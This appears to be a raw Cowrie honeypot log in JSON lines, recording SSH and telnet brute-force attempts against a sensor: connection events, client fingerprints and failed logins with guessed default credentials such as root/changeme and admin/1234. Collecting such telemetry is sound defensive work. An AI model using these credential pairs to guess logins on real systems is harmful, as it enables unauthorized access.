{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:39.102652Z","src_ip":"192.109.200.78","session":"9a0bf3287bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:39.188877Z","src_ip":"192.109.200.78","session":"9a0bf3287bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:39.439991Z","src_ip":"192.109.200.78","session":"9a0bf3287bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:40.526839Z","src_ip":"192.109.200.78","session":"9a0bf3287bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96468710899353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:43.185049Z","src_ip":"5.42.229.203","session":"7dc643330c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37646,"dst_ip":"10.17.0.5","dst_port":22,"session":"796e8e9b7db6","protocol":"ssh","message":"New connection: 192.109.200.78:37646 (10.17.0.5:22) [session: 796e8e9b7db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:44.207011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:44.212317Z","src_ip":"192.109.200.78","session":"796e8e9b7db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:44.296272Z","src_ip":"192.109.200.78","session":"796e8e9b7db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:44.542637Z","src_ip":"192.109.200.78","session":"796e8e9b7db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:45.628998Z","src_ip":"192.109.200.78","session":"796e8e9b7db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37662,"dst_ip":"10.17.0.5","dst_port":22,"session":"4239f9847693","protocol":"ssh","message":"New connection: 192.109.200.78:37662 (10.17.0.5:22) [session: 4239f9847693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:47.373892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:47.378310Z","src_ip":"192.109.200.78","session":"4239f9847693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.702046394348145,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:47.387101Z","src_ip":"5.42.229.203","session":"32ce856645a9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:47.462651Z","src_ip":"192.109.200.78","session":"4239f9847693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:47.708554Z","src_ip":"192.109.200.78","session":"4239f9847693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:48.797793Z","src_ip":"192.109.200.78","session":"4239f9847693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49730,"dst_ip":"10.17.0.5","dst_port":22,"session":"163c02edb8dc","protocol":"ssh","message":"New connection: 192.109.200.78:49730 (10.17.0.5:22) [session: 163c02edb8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:51.619434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:51.624310Z","src_ip":"192.109.200.78","session":"163c02edb8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:51.717632Z","src_ip":"192.109.200.78","session":"163c02edb8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:52.275253Z","src_ip":"192.109.200.78","session":"163c02edb8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:53.362998Z","src_ip":"192.109.200.78","session":"163c02edb8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.051422834396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:53.774887Z","src_ip":"154.0.174.194","session":"da75949ded84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48705267906189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:55.130627Z","src_ip":"154.0.174.194","session":"9f729da5995d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f21b48d9fb","protocol":"ssh","message":"New connection: 192.109.200.78:49746 (10.17.0.5:22) [session: d3f21b48d9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:55.598138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:55.647731Z","src_ip":"192.109.200.78","session":"d3f21b48d9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40574,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dda49ceb65c","protocol":"telnet","message":"New connection: 206.189.71.75:40574 (159.203.135.109:23) [session: 0dda49ceb65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:55.712339Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:55.717665Z","src_ip":"192.109.200.78","session":"d3f21b48d9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:56.029302Z","src_ip":"192.109.200.78","session":"d3f21b48d9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:57.115052Z","src_ip":"192.109.200.78","session":"d3f21b48d9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"675f1cb85a73","protocol":"ssh","message":"New connection: 159.203.92.129:34028 (159.203.135.109:22) [session: 675f1cb85a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:58.040609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:58.045286Z","src_ip":"159.203.92.129","session":"675f1cb85a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:58.050693Z","src_ip":"159.203.92.129","session":"675f1cb85a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Linux@123","message":"login attempt [admin/Linux@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:58.076261Z","src_ip":"159.203.92.129","session":"675f1cb85a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:59.147769Z","src_ip":"159.203.92.129","session":"675f1cb85a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45654,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62fd71783e5","protocol":"ssh","message":"New connection: 192.109.200.78:45654 (10.17.0.5:22) [session: d62fd71783e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:59.805959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:59.810990Z","src_ip":"192.109.200.78","session":"d62fd71783e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:00.184258Z","src_ip":"192.109.200.78","session":"d62fd71783e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:00.449398Z","src_ip":"192.109.200.78","session":"d62fd71783e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:01.537817Z","src_ip":"192.109.200.78","session":"d62fd71783e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.22932028770447,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:03.714328Z","src_ip":"5.42.229.203","session":"e50a57629936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45668,"dst_ip":"10.17.0.5","dst_port":22,"session":"254073d9f330","protocol":"ssh","message":"New connection: 192.109.200.78:45668 (10.17.0.5:22) [session: 254073d9f330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:03.949730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:03.955332Z","src_ip":"192.109.200.78","session":"254073d9f330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:04.038121Z","src_ip":"192.109.200.78","session":"254073d9f330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:04.293288Z","src_ip":"192.109.200.78","session":"254073d9f330","protocol":"ssh"}
